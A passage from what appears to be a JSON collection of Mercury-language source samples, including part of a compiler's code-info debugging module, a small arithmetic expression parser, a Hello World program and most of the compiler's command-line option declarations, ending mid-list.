should_trace_code_gen(code_info::in) is semidet.\n\n:- type code_info_component\n    --->    cic_forward_live_vars\n    ;       cic_zombies\n    ;       cic_temps_in_use\n    ;       cic_par_conj_depth.\n\n    % Print the selected parts of the code_info.\n    %\n    % If you need to print a part that is not currently selectable, make it\n    % selectable.\n    %\n:- pred output_code_info(list(code_info_component)::in, code_info::in,\n    io::di, io::uo) is det.\n\n:- implementation.\n\nshould_trace_code_gen(CI) :-\n    code_info.get_pred_id(CI, PredId),\n    pred_id_to_int(PredId, PredIdInt),\n    code_info.get_module_info(CI, ModuleInfo),\n    module_info_get_globals(ModuleInfo, Globals),\n    globals.lookup_int_option(Globals, debug_code_gen_pred_id, DebugPredIdInt),\n    PredIdInt = DebugPredIdInt.\n\noutput_code_info(Components, CI, !IO) :-\n    CI = code_info(Static, LocDep, _Persistent),\n    VarSet = Static ^ cis_varset,\n    LocDep = code_info_loc_dep(ForwardLiveVars, _InstMap, Zombies,\n        _VarLocnInfo, TempsInUse, _FailInfo, ParConjDepth),\n    ( list.member(cic_forward_live_vars, Components) ->\n        io.write_string(\"forward live vars: \", !IO),\n        mercury_output_vars(VarSet, yes,\n            set_of_var.to_sorted_list(ForwardLiveVars), !IO),\n        io.nl(!IO)\n    ;\n        true\n    ),\n    ( list.member(cic_zombies, Components) ->\n        io.write_string(\"zombies: \", !IO),\n        mercury_output_vars(VarSet, yes,\n            set_of_var.to_sorted_list(Zombies), !IO),\n        io.nl(!IO)\n    ;\n        true\n    ),\n    ( list.member(cic_temps_in_use, Components) ->\n        io.write_string(\"temps_in_use: \", !IO),\n        io.write_string(dump_lvals(no, set.to_sorted_list(TempsInUse)), !IO),\n        io.nl(!IO)\n    ;\n        true\n    ),\n    ( list.member(cic_par_conj_depth, Components) ->\n        io.format(\"par_conj_depth: %d\\n\", [i(ParConjDepth)], !IO)\n    ;\n        true\n    ).\n\n:- pred output_resume_map(prog_varset::in, map(prog_var, set(lval))::in,\n    io::di, io::uo) is det.\n\noutput_resume_map(VarSet, ResumeMap, !IO) :-\n    map.to_assoc_list(ResumeMap, ResumeAssocList),\n    list.foldl(output_resume_map_element(VarSet), ResumeAssocList, !IO).\n\n:- pred output_resume_map_element(prog_varset::in,\n    pair(prog_var, set(lval))::in, io::di, io::uo) is det.\n\noutput_resume_map_element(VarSet, Var - LvalSet, !IO) :-\n    io.write_string(describe_var(VarSet, Var), !IO),\n    io.write_string(\": \", !IO),\n    Lvals = set.to_sorted_list(LvalSet),\n    LvalDescs = list.map(dump_lval(no), Lvals),\n    SpaceLvalDescs = list.map(string.append(\" \"), LvalDescs),\n    io.write_string(string.append_list(SpaceLvalDescs), !IO),\n    io.nl(!IO).\n\n%---------------------------------------------------------------------------%\n:- end_module ll_backend.code_info.\n%---------------------------------------------------------------------------%\n"
  },
  {
    "path": "samples/Mercury/expr.moo",
    "content": ":- module expr.\n\n:- interface.\n\n:- import_module char, int, list.\n\n:- type token\n\t--->\t('+')\n\t;\t('-')\n\t;\t('*')\n\t;\t('/')\n\t;\tnum(int)\n\t;\t('(')\n\t;\t(')')\n\t;\teof\n\t.\n\n:- parse(exprn/1, token, eof, xx, in, out).\n\n:- pred scan(list(char), list(token)).\n:- mode scan(in, out) is det.\n\n:- implementation.\n\n:- import_module string, require.\n\n:- rule exprn(int).\nexprn(Num)\t--->\texprn(A), [+], term(B), { Num = A + B }.\nexprn(Num)\t--->\texprn(A), [-], term(B), { Num = A - B }.\nexprn(Num)\t--->\tterm(Num).\n\n:- rule term(int).\nterm(Num)\t--->\tterm(A), [*], factor(B), { Num = A * B }.\nterm(Num)\t--->\tterm(A), [/], factor(B), { Num = A // B }.\nterm(Num)\t--->\tfactor(Num).\n\n:- rule factor(int).\nfactor(Num)\t--->\t['('], exprn(Num), [')'].\nfactor(Num)\t--->\t[num(Num)].\n\nscan(Chars, Toks) :-\n\tscan(Chars, [], Toks0),\n\tlist__reverse(Toks0, Toks).\n\n:- pred scan(list(char), list(token), list(token)).\n:- mode scan(in, in, out) is det.\n\nscan([], Toks, [eof|Toks]).\nscan([C|Cs], Toks0, Toks) :-\n\t( char__is_whitespace(C) ->\n\t\tscan(Cs, Toks0, Toks)\n\t; char__is_digit(C) ->\n\t\ttakewhile(char__is_digit, [C|Cs], Digits, Rest),\n\t\tstring__from_char_list(Digits, NumStr),\n\t\tNum = string__det_to_int(NumStr),\n\t\tscan(Rest, [num(Num)|Toks0], Toks)\n\t; C = ('+') ->\n\t\tscan(Cs, ['+'|Toks0], Toks)\n\t; C = ('-') ->\n\t\tscan(Cs, ['-'|Toks0], Toks)\n\t; C = ('*') ->\n\t\tscan(Cs, ['*'|Toks0], Toks)\n\t; C = ('/') ->\n\t\tscan(Cs, ['/'|Toks0], Toks)\n\t; C = ('(') ->\n\t\tscan(Cs, ['('|Toks0], Toks)\n\t; C = (')') ->\n\t\tscan(Cs, [')'|Toks0], Toks)\n\t;\n\t\terror(\"expr: syntax error in input\")\n\t).\n\n"
  },
  {
    "path": "samples/Mercury/hello.m",
    "content": "% \"Hello World\" in Mercury.\n\n% This source file is hereby placed in the public domain.  -fjh (the author).\n\n:- module hello.\n:- interface.\n:- import_module io.\n\n:- pred main(io::di, io::uo) is det.\n\n:- implementation.\n\nmain(!IO) :-\n\tio.write_string(\"Hello, world\\n\", !IO).\n"
  },
  {
    "path": "samples/Mercury/options.m",
    "content": "%-----------------------------------------------------------------------------%\n% vim: ft=mercury ts=4 sw=4 et\n%-----------------------------------------------------------------------------%\n% Copyright (C) 1994-2012 The University of Melbourne.\n% This file may only be copied under the terms of the GNU General\n% Public License - see the file COPYING in the Mercury distribution.\n%-----------------------------------------------------------------------------%\n%\n% File: options.m.\n% Main author: fjh.\n%\n% This defines the stuff necessary so that getopt_io.m can parse the\n% command-line options.\n%\n% IMPORTANT NOTE: any changes to the options should be reflected in both the\n% help message produced below, and in the Mercury User's Guide\n% (../doc/user_guide.texi).\n%\n%-----------------------------------------------------------------------------%\n\n:- module libs.options.\n:- interface.\n\n:- import_module char.\n:- import_module getopt_io.\n:- import_module io.\n:- import_module set.\n\n%-----------------------------------------------------------------------------%\n\n:- pred short_option(char::in, option::out) is semidet.\n:- pred long_option(string::in, option::out) is semidet.\n:- pred option_defaults(option::out, option_data::out) is nondet.\n\n    % special_handler(Option, ValueForThatOption, OptionTableIn,\n    %   MaybeOptionTableOut):\n    %\n    % This predicate is invoked whenever getopt finds an option\n    % (long or short) designated as special, with special_data holding\n    % the argument of the option (if any). The predicate can change the\n    % option table in arbitrary ways in the course of handling the option,\n    % or it can return an error message.\n    % The canonical examples of special options are -O options in\n    % compilers, which set many other options at once.\n    % The MaybeOptionTableOut may either be ok(OptionTableOut), or it may\n    % be error(ErrorString).\n    %\n:- pred special_handler(option::in, special_data::in, option_table::in,\n    maybe_option_table::out) is semidet.\n\n    % Return the set of options which are inconsequential as far as the\n    % `--track-flags' option is concerned.  That is, adding or removing such\n    % an option to a module should not force the module to be recompiled.\n    %\n:- pred inconsequential_options(set(option)::out) is det.\n\n:- pred options_help(io::di, io::uo) is det.\n\n:- type option_table == option_table(option).\n:- type maybe_option_table == maybe_option_table(option).\n\n    % Add a directory to search for Mercury libraries. This\n    % adds `--search-directory', `--c-include-directory',\n    % `--erlang-include-directory',\n    % `--library-directory' and `--init-file-directory' options.\n    %\n:- func option_table_add_mercury_library_directory(option_table, string)\n    = option_table.\n\n    % Add a directory using all of the\n    % `--search-directory', `--intermod-directory',\n    % `--library-directory', `--init-file-directory' and\n    % `--c-include-directory', `--erlang-include-directory'\n    % options.\n    %\n:- func option_table_add_search_library_files_directory(option_table,\n    string) = option_table.\n\n    % Quote an argument to a shell command.\n    %\n:- func quote_arg(string) = string.\n\n    % NOTE: ALL OPTIONS SHOULD BE DOCUMENTED!\n    %\n    % Officially supported options should be documented both in the\n    % help message output by options_help/2, and also in the\n    % \"invocation\" chapter of doc/user_guide.texi.\n    %\n    % Options which are not officially supported (e.g. those used\n    % internally by the Mercury implementation, those which are not\n    % sufficiently useful to be worth mentioning in the User Guide,\n    % or options for experimental features that are not yet stable\n    % enough to be officially supported should still be documented.\n    % The documentation can go either next to the option definition\n    % here, or as commented-out code in the appropriate subroutine\n    % of options_help/2.\n:- type option\n\n    % Warning options\n    --->    inhibit_warnings\n    ;       inhibit_accumulator_warnings\n    ;       halt_at_warn\n    ;       halt_at_syntax_errors\n    ;       halt_at_auto_parallel_failure\n    ;       warn_singleton_vars\n    ;       warn_overlapping_scopes\n    ;       warn_det_decls_too_lax\n    ;       warn_inferred_erroneous\n    ;       warn_nothing_exported\n    ;       warn_unused_args\n    ;       warn_interface_imports\n    ;       warn_missing_opt_files\n    ;       warn_missing_trans_opt_files\n    ;       warn_missing_trans_opt_deps\n    ;       warn_non_contiguous_clauses\n    ;       warn_non_contiguous_foreign_procs\n    ;       warn_non_stratification\n    ;       warn_unification_cannot_succeed\n    ;       warn_simple_code\n    ;       warn_duplicate_calls\n    ;       warn_missing_module_name\n    ;       warn_wrong_module_name\n    ;       warn_smart_recompilation\n    ;       warn_undefined_options_variables\n    ;       warn_non_tail_recursion\n    ;       warn_target_code\n    ;       warn_up_to_date\n    ;       warn_stubs\n    ;       warn_dead_procs\n    ;       warn_table_with_inline\n    ;       warn_non_term_special_preds\n    ;       warn_known_bad_format_calls\n    ;       warn_unknown_format_calls\n    ;       warn_obsolete\n    ;       warn_insts_without_matching_type\n    ;       warn_unused_imports\n    ;       inform_ite_instead_of_switch\n    ;       warn_unresolved_polymorphism\n    ;       warn_suspicious_foreign_procs\n    ;       warn_state_var_shadowing\n    ;       inform_inferred\n    ;       inform_inferred_types\n    ;       inform_inferred_modes\n\n    % Verbosity options\n    ;       verbose\n    ;       very_verbose\n    ;       verbose_errors\n    ;       verbose_recompilation\n    ;       find_all_recompilation_reasons\n    ;       verbose_make\n    ;       verbose_commands\n    ;       output_compile_error_lines\n    ;       report_cmd_line_args\n    ;       report_cmd_line_args_in_doterr\n    ;       statistics\n    ;       detailed_statistics\n    ;       proc_size_statistics\n    ;       debug_types\n    ;       debug_modes\n    ;       debug_modes_statistics\n    ;       debug_modes_minimal\n    ;       debug_modes_verbose\n    ;       debug_modes_pred_id\n    ;       debug_dep_par_conj\n    ;       debug_det\n    ;       debug_code_gen_pred_id\n    ;       debug_opt\n    ;       debug_term          % term = constraint termination analysis\n    ;       debug_opt_pred_id\n    ;       debug_opt_pred_name\n    ;       debug_pd            % pd = partial deduction/deforestation\n    ;       debug_il_asm        % il_asm = IL generation via asm\n    ;       debug_liveness\n    ;       debug_stack_opt\n    ;       debug_make\n    ;       debug_closure\n    ;       debug_trail_usage\n    ;       debug_mode_constraints\n    ;       debug_intermodule_analysis\n    ;       debug_mm_tabling_analysis\n    ;       debug_indirect_reuse\n    ;       debug_type_rep\n\n    % Output options\n    ;       make_short_interface\n    ;       make_interface\n    ;       make_private_interface\n    ;       make_optimization_interface\n    ;       make_transitive_opt_interface\n    ;       make_analysis_registry\n    ;       make_xml_documentation\n    ;       generate_source_file_mapping\n    ;       generate_dependency_file\n    ;       generate_dependencies\n    ;       generate_module_order\n    ;       generate_standalone_interface\n    ;       convert_to_mercury\n    ;       typecheck_only\n    ;       errorcheck_only\n    ;       target_code_only\n    ;       compile_only\n    ;       compile_to_shared_lib\n    ;       output_grade_string\n    ;       output_link_command\n    ;       output_shared_lib_link_command\n    ;       output_libgrades\n    ;       output_cc\n    ;       output_c_compiler_type\n    ;       output_csharp_compiler_type\n    ;       output_cflags\n    ;       output_library_link_flags\n    ;       output_grade_defines\n    ;       output_c_include_directory_flags\n\n    % Auxiliary output options\n    ;       smart_recompilation\n            % Even if this option is set to `yes', smart recompilation may\n            % have been disabled with io_set_disable_smart_recompilation.\n            % Before using the value of this option, call\n            % io_get_disable_smart_recompilation to see whether this\n            % has been done.\n\n    ;       generate_item_version_numbers\n            % This option is used to control output of version numbers\n            % in interface files. It is implied by --smart-recompilation,\n            % and cannot be set explicitly by the user.\n\n            % Even if this option is set to `yes', version numbers may have\n            % been disabled with io_set_disable_generate_item_version_numbers.\n            % Before using the value of this option, call\n            % io_get_disable_generate_item_version_numbers to see whether this\n            % has been done.\n\n    ;       generate_mmc_make_module_dependencies\n    ;       assume_gmake\n    ;       trace_level\n    ;       trace_optimized\n    ;       trace_prof\n    ;       trace_table_io\n    ;       trace_table_io_only_retry\n    ;       trace_table_io_states\n    ;       trace_table_io_require\n    ;       trace_table_io_all\n    ;       trace_goal_flags\n    ;       prof_optimized\n    ;       exec_trace_tail_rec\n    ;       suppress_trace\n    ;       force_disable_tracing\n            % Force no tracing, even in .debug grades. This is used to turn off\n            % tracing in the browser directory while still allowing the browser\n            % library to be linked in with an executable compiled in a .debug\n            % grade.\n    ;       delay_death\n    ;       delay_death_max_vars\n\n    ;       stack_trace_higher_order\n    ;       force_disable_ssdebug\n    ;       generate_bytecode\n    ;       line_numbers\n    ;       auto_comments\n    ;       frameopt_comments\n    ;       max_error_line_width\n    ;       show_dependency_graph\n    ;       imports_graph\n    ;       dump_trace_counts\n    ;       dump_hlds\n    ;       dump_hlds_pred_id\n    ;       dump_hlds_pred_name\n    ;       dump_hlds_alias\n    ;       dump_hlds_options\n    ;       dump_hlds_inst_limit\n    ;       dump_hlds_file_suffix\n    ;       dump_same_hlds\n    ;       dump_mlds\n    ;       verbose_dump_mlds\n    ;       mode_constraints\n    ;       simple_mode_constraints\n    ;       prop_mode_constraints\n    ;       benchmark_modes\n    ;       benchmark_modes_repeat\n    ;       sign_assembly\n    ;       separate_assemblies\n\n    % Language semantics options\n    ;       reorder_conj\n    ;       reorder_disj\n    ;       fully_strict\n    ;       strict_sequential\n    ;       allow_stubs\n    ;       infer_types\n    ;       infer_modes\n    ;       infer_det\n    ;       infer_all\n    ;       type_inference_iteration_limit\n    ;       mode_inference_iteration_limit\n    ;       event_set_file_name\n\n    % Compilation Model options\n    ;       grade\n\n    % Target selection options\n    ;       target\n    ;       il                  % target il\n    ;       il_only             % target il + target_code_only\n    ;       compile_to_c        % target c + target_code_only\n    ;       java                % target java\n    ;       java_only           % target java + target_code_only\n    ;       csharp              % target csharp\n    ;       csharp_only         % target csharp + target_code_only\n    % XXX The following options need to be documented.\n    ;       x86_64              % target x86_64\n    ;       x86_64_only         % target x86_64 + target_code_only\n    ;       erlang              % target erlang\n    ;       erlang_only         % target erlang + target_code_only\n\n    % Compilation model options for optional features:\n\n    % (a) Debugging\n    % For documentation of the exec_trace and decl_debug options, see the\n    % documentation for MR_EXEC_TRACE and MR_DECL_DEBUG in\n    % runtime/mercury_conf_param.h.\n    ;       exec_trace\n    ;       decl_debug\n\n    % (b) Profiling\n    ;       profiling           % profile_time + profile_calls\n    ;       time_profiling      % profile_time + profile_calls\n    ;       memory_profiling    % profile_mem + profile_calls\n    ;       deep_profiling      % profile_deep\n    ;       profile_calls\n    ;       profile_time\n    ;       profile_memory\n    ;       profile_deep\n    ;       use_activation_counts\n            % Use_activation_counts is used to determine which mechanism for\n            % cycle detection should be used for deep profiling. Actually,\n            % we only want to use the `yes' value, but we keep support for\n            % the `no' value for benchmarks for the paper.\n\n    ;       pre_prof_transforms_simplify\n            % Run the simplification pass at before profiling (stage 215) this\n            % is implied by some of the profiling settings.  Specifying this\n            % option causes this simplification pass to run even when profiling\n            % is not enabled.\n\n    ;       pre_implicit_parallelism_simplify\n            % Run the simplification pass before the implicit parallelism pass\n            % to ensure that the HLDS more closely matches the feedback data.\n\n            % Perform coverage profiling, this affects only deep profiling\n            % grades.\n    ;       coverage_profiling\n    ;       coverage_profiling_via_calls\n    ;       coverage_profiling_static\n\n            % What types of coverage points to instrument the code with.\n    ;       profile_deep_coverage_after_goal\n    ;       profile_deep_coverage_branch_ite\n    ;       profile_deep_coverage_branch_switch\n    ;       profile_deep_coverage_branch_disj\n\n            % Tunables for the coverage profiling pass.\n            % XXX: Currently both these options are unsupported.\n    ;       profile_deep_coverage_use_portcounts\n    ;       profile_deep_coverage_use_trivial\n\n            % Turn on flags relevant for profiler directed feedback analysis.\n            % Currently the only feedback analysis is automatic parallelism.\n    ;       profile_for_feedback\n\n    ;       use_zeroing_for_ho_cycles\n    ;       use_lots_of_ho_specialization\n\n            % We should always handle tail recursion specially in deep\n            % profiling; the option is only for benchmarks for the paper,\n            % except that this is currently broken, and not supported with\n            % coverage profiling.\n    ;       deep_profile_tail_recursion\n    ;       record_term_sizes_as_words\n    ;       record_term_sizes_as_cells\n    ;       experimental_complexity\n\n    % (c) Miscellaneous\n    ;       gc\n    ;       parallel\n    ;       threadscope\n    ;       use_trail\n    ;       trail_segments\n    ;       use_minimal_model_stack_copy\n    ;       use_minimal_model_own_stacks\n    ;       minimal_model_debug\n    ;       single_prec_float\n    ;       type_layout\n    ;       maybe_thread_safe_opt\n    ;       extend_stacks_when_needed\n    ;       stack_segments\n    ;       use_regions\n    ;       use_alloc_regions\n    ;       use_regions_debug\n    ;       use_regions_profiling\n    ;       source_to_source_debug\n    ;       ssdb_trace_level\n    ;       link_ssdb_libs\n\n    % Data representation compilation model options\n    ;       tags\n    ;       num_tag_bits\n    ;       num_reserved_addresses\n    ;       num_reserved_objects\n    ;       bits_per_word\n    ;       bytes_per_word\n            % The undocumented conf_low_tag_bits option is used by the `mmc'\n            % script to pass the default value for num_tag_bits assuming\n            % --tags low. The reason that `mmc' doesn't just pass a default\n            % value for --num-tag-bits is that we want to be able to give an\n            % error message if the user specifies `--tags high' and doesn't\n            % specify `--num-tag-bits'.\n\n    ;       conf_low_tag_bits\n    ;       unboxed_float\n    ;       unboxed_enums\n    ;       unboxed_no_tag_types\n    ;       sync_term_size % in words\n\n    % LLDS back-end compilation model options\n    ;       gcc_non_local_gotos\n    ;       gcc_global_registers\n    ;       asm_labels\n    ;       pic_reg\n    ;       use_float_registers\n\n    % MLDS back-end compilation model options\n    ;       highlevel_code\n    ;       highlevel_data\n    ;       gcc_nested_functions\n    ;       det_copy_out\n    ;       nondet_copy_out\n    ;       put_commit_in_own_func\n    ;       put_nondet_env_on_heap\n\n    % IL back-end compilation model options\n    ;       verifiable_code\n    ;       il_refany_fields\n    ;       il_funcptr_types\n    ;       il_byref_tailcalls\n            % Currently this is not really a compilation model option, i.e.\n            % it doesn't affect the ABI. In future it might become one, though\n            % -- we should return multiple values in value types, rather than\n            % using byrefs. Also it's nicer to keep it with the other IL\n            % back-end options here.\n\n    % Options for internal use only (the values of these options are implied\n    % by the settings of other options)\n\n    ;       backend_foreign_languages\n            % The foreign programming languages that this backend can\n            % interface to.\n\n    ;       stack_trace\n            % Stack layout information required to do a stack trace.\n\n    ;       basic_stack_layout\n            % Stack layout information required to do accurate GC.\n\n    ;       agc_stack_layout\n            % Stack layout information required to do procedure identification.\n\n    ;       procid_stack_layout\n            % Stack layout information required to do execution tracing.\n\n    ;       trace_stack_layout\n\n    ;       body_typeinfo_liveness\n            % Use an alternate calculation of liveness where the typeinfo\n            % for a type variable must live at any point in the body of the\n            % procedure at which a live variable's type includes that type\n            % variable.\n            %\n            % Although this option governs whether the body of a procedure\n            % uses this liveness calculation, it is not the only consideration\n            % we have to take into account when deciding on the interface\n            % of any procedure whose address may be taken. We must include\n            % typeinfos describing the types of all arguments in the interface\n            % of a procedure if either this option is set *or* the procedure's\n            % address may be taken, otherwise, the layout structure we include\n            % in closures using that procedure may not have all the information\n            % required to reconstruct the types of all the values inside the\n            % closure.\n            %\n            % The only place in the compiler that should look at this option\n            % is the predicate body_should_use_typeinfo_liveness in\n            % hlds_pred.m; everything else, including the predicates deciding\n            % interface typeinfo liveness, should go through there.\n\n    ;       can_compare_constants_as_ints\n            % Should be set to yes if the target back end guarantees that\n            % comparing two values for equality, at least one of which is a\n            % constant, can be done by casting them both to integers and\n            % comparing the integers for equality.\n\n    ;       pretest_equality_cast_pointers\n            % Should be set to yes if the test of whether two input arguments\n            % are object identical should be done by casting the arguments to a\n            % generic pointer type. Otherwise they will be cast to integers.\n\n    ;       can_compare_compound_values\n            % Should be set to yes if the target back end supports comparison\n            % of non-atomic values with builtin operators.\n\n    ;       lexically_order_constructors\n            % Should be set to yes if we need to order functors\n            % lexically when generating comparison predicates,\n            % e.g. to match the natural order that functors will be compared\n            % on the backend.\n\n    ;       mutable_always_boxed\n\n    ;       delay_partial_instantiations\n\n    % Options for internal use only (setting these options to non-default\n    % values can result in programs that do not link, or programs that dump\n    % core)\n    ;       allow_defn_of_builtins\n            % Do not generate errors for definitions of builtin predicates.\n            % When a new builtin is introduced, the installed compiler won't\n            % know about it, and thus when it sees its declaration, it wants a\n            % definition, but when the modified compiler is bootstrapped,\n            % it would normally generate an error when it sees that very same\n            % definition in the library (usually in builtin.m or\n            % private_builtin.m). When this option is set, it allows such\n            % definitions. Once the modified compiler is installed on all\n            % relevant machines, the option can be turned off again.\n\n    ;       special_preds\n            % Generate unify and compare preds. For measurement only.\n            % Code generated with this set to `no' is unlikely to actually\n            % work.\n\n    ;       type_ctor_info\n            % Generate type_ctor_info structures. For measurement only --\n            % if you turn this off, then you're unlikely to be able to link.\n\n    ;       type_ctor_layout\n            % Generate type_ctor_layout structures. For measurement only --\n            % if you turn this off, then you're unlikely to be able to link.\n\n    ;       type_ctor_functors\n            % Generate type_ctor_functors structures. For measurement only --\n            % if you turn this off, then you're unlikely to be able to link.\n\n    ;       new_type_class_rtti\n            % XXX temporary option: enables the generation of new style static\n            % data structures for runtime information about type classes.\n            % These are not yet used. When we add code to generate the matching\n            % dynamic data structures and switch over to use them, we won't\n            % need this option anymore.\n\n    ;       rtti_line_numbers\n            % Generate line number information in the RTTI when debugging is\n            % enabled. For measurement only -- if you turn this off, then the\n            % debugger may dereference garbage pointers.\n\n    ;       disable_minimal_model_stack_copy_pneg\n    ;       disable_minimal_model_stack_copy_cut\n    ;       use_minimal_model_stack_copy_pneg\n    ;       use_minimal_model_stack_copy_cut\n            % These four are used to analyze the performance effects\n            % of minimal model tabling.\n\n    ;       disable_trail_ops\n            % This is used to analyze the performance effects of trailing.\n\n    ;       size_region_ite_fixed\n    ;       size_region_disj_fixed\n    ;       size_region_semi_disj_fixed\n    ;       size_region_commit_fixed\n\n    ;       size_region_ite_protect\n    ;       size_region_ite_snapshot\n    ;       size_region_semi_disj_protect\n    ;       size_region_disj_snapshot\n    ;       size_region_commit_entry\n\n    ;       solver_type_auto_init\n            % Insert calls to solver type initialisation predicates when\n            % the inst of solver type variables changes from free to any.\n\n    ;       allow_multi_arm_switches\n\n    ;       type_check_constraints\n\n    ;       allow_argument_packing\n\n    % Code generation options\n    ;       low_level_debug\n    ;       table_debug\n    ;       trad_passes\n    ;       parallel_liveness\n    ;       parallel_code_gen\n    ;       polymorphism\n    ;       reclaim_heap_on_failure\n    ;       reclaim_heap_on_semidet_failure\n    ;       reclaim_heap_on_nondet_failure\n    ;       have_delay_slot\n    ;       num_real_r_regs\n    ;       num_real_f_regs\n    ;       num_real_r_temps\n    ;       num_real_f_temps\n    ;       max_jump_table_size\n    ;       max_specialized_do_call_closure\n    ;       max_specialized_do_call_class_method\n    ;       compare_specialization\n    ;       should_pretest_equality\n    ;       fact_table_max_array_size\n            % Maximum number of elements in a single fact table data array.\n\n    ;       fact_table_hash_percent_full\n            % How full the fact table hash tables should be allowed to get,\n            % given as an integer percentage.\n\n    ;       gcc_local_labels\n    ;       prefer_switch\n    ;       opt_no_return_calls\n\n    % Optimization Options\n    ;       opt_level\n    ;       opt_level_number\n    ;       opt_space                   % Default is to optimize time.\n    ;       intermodule_optimization\n    ;       read_opt_files_transitively\n    ;       use_opt_files\n    ;       use_trans_opt_files\n    ;       transitive_optimization\n    ;       intermodule_analysis\n    ;       analysis_repeat\n    ;       analysis_file_cache\n\n    %   - HLDS\n    ;       allow_inlining\n    ;       inlining\n    ;       inline_simple\n    ;       inline_builtins\n    ;       inline_single_use\n    ;       inline_call_cost\n    ;       inline_compound_threshold\n    ;       inline_simple_threshold\n    ;       inline_vars_threshold\n    ;       intermod_inline_simple_threshold\n    ;       from_ground_term_threshold\n    ;       enable_const_struct\n    ;       common_struct\n    ;       common_struct_preds\n    ;       common_goal\n    ;       constraint_propagation\n    ;       local_constraint_propagation\n    ;       optimize_unused_args\n    ;       intermod_unused_args\n    ;       optimize_higher_order\n    ;       higher_order_size_limit\n    ;       higher_order_arg_limit\n    ;       unneeded_code\n    ;       unneeded_code_copy_limit\n    ;       unneeded_code_debug\n    ;       unneeded_code_debug_pred_name\n    ;       type_specialization\n    ;       user_guided_type_specialization\n    ;       introduce_accumulators\n    ;       optimize_constructor_last_call_accumulator\n    ;       optimize_constructor_last_call_null\n    ;       optimize_constructor_last_call\n    ;       optimize_duplicate_calls\n    ;       constant_propagation\n    ;       excess_assign\n    ;       optimize_format_calls\n    ;       optimize_saved_vars_const\n    ;       optimize_saved_vars_cell\n    ;       optimize_saved_vars_cell_loop\n    ;       optimize_saved_vars_cell_full_path\n    ;       optimize_saved_vars_cell_on_stack\n    ;       optimize_saved_vars_cell_candidate_headvars\n    ;       optimize_saved_vars_cell_cv_store_cost\n    ;       optimize_saved_vars_cell_cv_load_cost\n    ;       optimize_saved_vars_cell_fv_store_cost\n    ;       optimize_saved_vars_cell_fv_load_cost\n    ;       optimize_saved_vars_cell_op_ratio\n    ;       optimize_saved_vars_cell_node_ratio\n    ;       optimize_saved_vars_cell_all_path_node_ratio\n    ;       optimize_saved_vars_cell_include_all_candidates\n    ;       optimize_saved_vars\n    ;       loop_invariants\n    ;       delay_construct\n    ;       follow_code\n    ;       optimize_dead_procs\n    ;       deforestation\n    ;       deforestation_depth_limit\n    ;       deforestation_cost_factor\n    ;       deforestation_vars_threshold\n    ;       deforestation_size_threshold\n    ;       analyse_trail_usage\n    ;       optimize_trail_usage\n    ;       optimize_region_ops\n    ;       analyse_mm_tabling\n    ;       untuple\n    ;       tuple\n    ;       tuple_trace_counts_file\n    ;       tuple_costs_ratio\n    ;       tuple_min_args\n    ;       inline_par_builtins\n    ;       always_specialize_in_dep_par_conjs\n    ;       allow_some_paths_only_waits\n    ;       region_analysis\n\n    % Stuff for the CTGC system (structure sharing / structure reuse).\n    ;       structure_sharing_analysis\n    ;           structure_sharing_widening\n    ;       structure_reuse_analysis\n    ;           structure_reuse_constraint\n    ;           structure_reuse_constraint_arg\n    ;           structure_reuse_max_conditions\n    ;           structure_reuse_repeat\n    ;           structure_reuse_free_cells\n\n    % Stuff for the old termination analyser.\n    ;       termination\n    ;       termination_check\n    ;       verbose_check_termination\n    ;       termination_single_args\n    ;       termination_norm\n    ;       termination_error_limit\n    ;       termination_path_limit\n\n    % Stuff for the new termination analyser.\n    ;       termination2\n    ;          check_termination2\n    ;          verbose_check_termination2\n    ;          termination2_norm\n    ;          widening_limit\n    ;          arg_size_analysis_only\n    ;          propagate_failure_constrs\n    ;          term2_maximum_matrix_size\n    ;       analyse_exceptions\n    ;       analyse_closures\n\n    %   - HLDS->LLDS\n    ;       smart_indexing\n    ;         dense_switch_req_density\n    ;         lookup_switch_req_density\n    ;         dense_switch_size\n    ;         lookup_switch_size\n    ;         string_hash_switch_size\n    ;         string_binary_switch_size\n    ;         tag_switch_size\n    ;         try_switch_size\n    ;         binary_switch_size\n    ;         switch_single_rec_base_first\n    ;         switch_multi_rec_base_first\n\n    ;       static_ground_cells\n    ;       static_ground_floats\n    ;       static_code_addresses\n\n    ;       use_atomic_cells\n    ;       middle_rec\n    ;       simple_neg\n    ;       allow_hijacks\n\n    %   - MLDS\n    ;       optimize_tailcalls\n    ;       optimize_initializations\n    ;       eliminate_local_vars\n    ;       generate_trail_ops_inline\n\n    %   - LLDS\n    ;       common_data\n    ;       common_layout_data\n    ;       optimize            % Also used for MLDS->MLDS optimizations.\n    ;       optimize_peep\n    ;       optimize_peep_mkword\n    ;       optimize_jumps\n    ;       optimize_fulljumps\n    ;       pessimize_tailcalls\n    ;       checked_nondet_tailcalls\n    ;       use_local_vars\n    ;       local_var_access_threshold\n    ;       standardize_labels\n    ;       optimize_labels\n    ;       optimize_dups\n    ;       optimize_proc_dups\n    ;       optimize_frames\n    ;       optimize_delay_slot\n    ;       optimize_reassign\n    ;       optimize_repeat\n    ;       layout_compression_limit\n\n    %   - C\n    ;       use_macro_for_redo_fail\n    ;       emit_c_loops\n    ;       procs_per_c_function\n    ;       everything_in_one_c_function\n    ;       local_thread_engine_base\n\n    %   - IL\n    %   (none yet)\n\n    %   - Erlang\n    ;       erlang_switch_on_strings_as_atoms\n\n    % Target code compilation options\n    ;       target_debug\n\n    % C\n    ;       cc\n    ;       cflags\n    ;       quoted_cflag\n    ;       c_include_directory\n    ;       c_optimize\n    ;       ansi_c\n    ;       inline_alloc\n\n    % Flags for specific C compilers.\n    ;       gcc_flags\n    ;       quoted_gcc_flag\n    ;       clang_flags\n    ;       quoted_clang_flag\n    ;       msvc_flags\n    ;       quoted_msvc_flag\n\n    % Auto-configured C compilation options.\n    ;       cflags_for_warnings\n    ;       cflags_for_optimization\n    ;       cflags_for_ansi\n    ;       cflags_for_regs\n    ;       cflags_for_gotos\n    ;       cflags_for_threads\n    ;       cflags_for_debug\n    ;       cflags_for_pic\n    ;       c_flag_to_name_object_file\n    ;       object_file_extension\n    ;       pic_object_file_extension\n    ;       link_with_pic_object_file_extension\n    ;       c_compiler_type\n    ;       csharp_compiler_type\n\n    % Java\n    ;       java_compiler\n    ;       java_interpreter\n    ;       java_flags\n    ;       quoted_java_flag\n    ;       java_classpath\n    ;       java_object_file_extension\n\n    % IL\n    ;       il_assembler\n    ;       ilasm_flags\n    ;       quoted_ilasm_flag\n    ;       dotnet_library_version\n    ;       support_ms_clr\n    ;       support_rotor_clr\n\n    % C#\n    ;       csharp_compiler\n    ;       csharp_flags\n    ;       quoted_csharp_flag\n    ;       cli_interpreter\n\n    % 